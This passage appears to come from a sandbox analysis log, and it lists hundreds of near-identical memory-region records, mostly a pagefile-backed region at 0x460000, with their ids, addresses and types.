pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10742 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10743 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10744 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10745 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10746 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10747 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10748 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10749 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10750 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10751 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10752 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10753 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10754 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10755 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10756 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10757 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10758 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10759 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10760 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10761 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10762 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10763 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10764 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10765 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10766 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10767 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10768 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10769 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10770 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10771 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10772 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10773 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10774 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10775 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10776 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10777 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10778 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10779 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10780 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10781 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10782 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10783 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10784 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10785 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10786 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10787 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10788 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10789 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10790 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10791 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10792 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10793 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10794 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10795 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10796 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10797 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10798 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10799 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10800 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10801 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10802 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10803 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10804 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10805 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10806 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10807 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10808 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10809 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10810 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10811 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10812 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10813 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10814 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10815 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10816 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10817 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10818 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10819 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10820 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10821 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10822 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10823 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10824 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10825 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10826 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10827 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10828 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10829 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10830 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10831 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10832 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 10833 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10834 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10835 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10836 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10839 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10840 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10841 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10842 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10843 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10844 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10845 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10846 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10847 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10848 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10849 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10850 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10851 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10852 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10853 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10854 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10855 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10856 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10857 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10858 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10859 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10860 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10861 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10862 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10863 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10864 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10865 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10866 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10867 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10868 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10869 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10870 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10871 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10872 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10873 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10874 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10875 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10876 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10877 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10878 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10879 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10880 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10881 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10882 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10883 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10884 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10885 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10886 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10887 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10888 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10889 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10890 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10891 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10892 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10893 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10894 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10895 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10896 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10897 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10898 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10899 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10900 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10901 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10902 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10903 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10904 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10905 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10906 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10907 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10908 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10909 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10910 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10911 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10912 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10913 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10914 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10915 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10916 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10917 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10918 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10919 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10920 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10921 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10922 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10923 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10924 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10925 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10926 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10927 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10928 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10929 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10930 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10931 start_va = 0x460000 end_va = 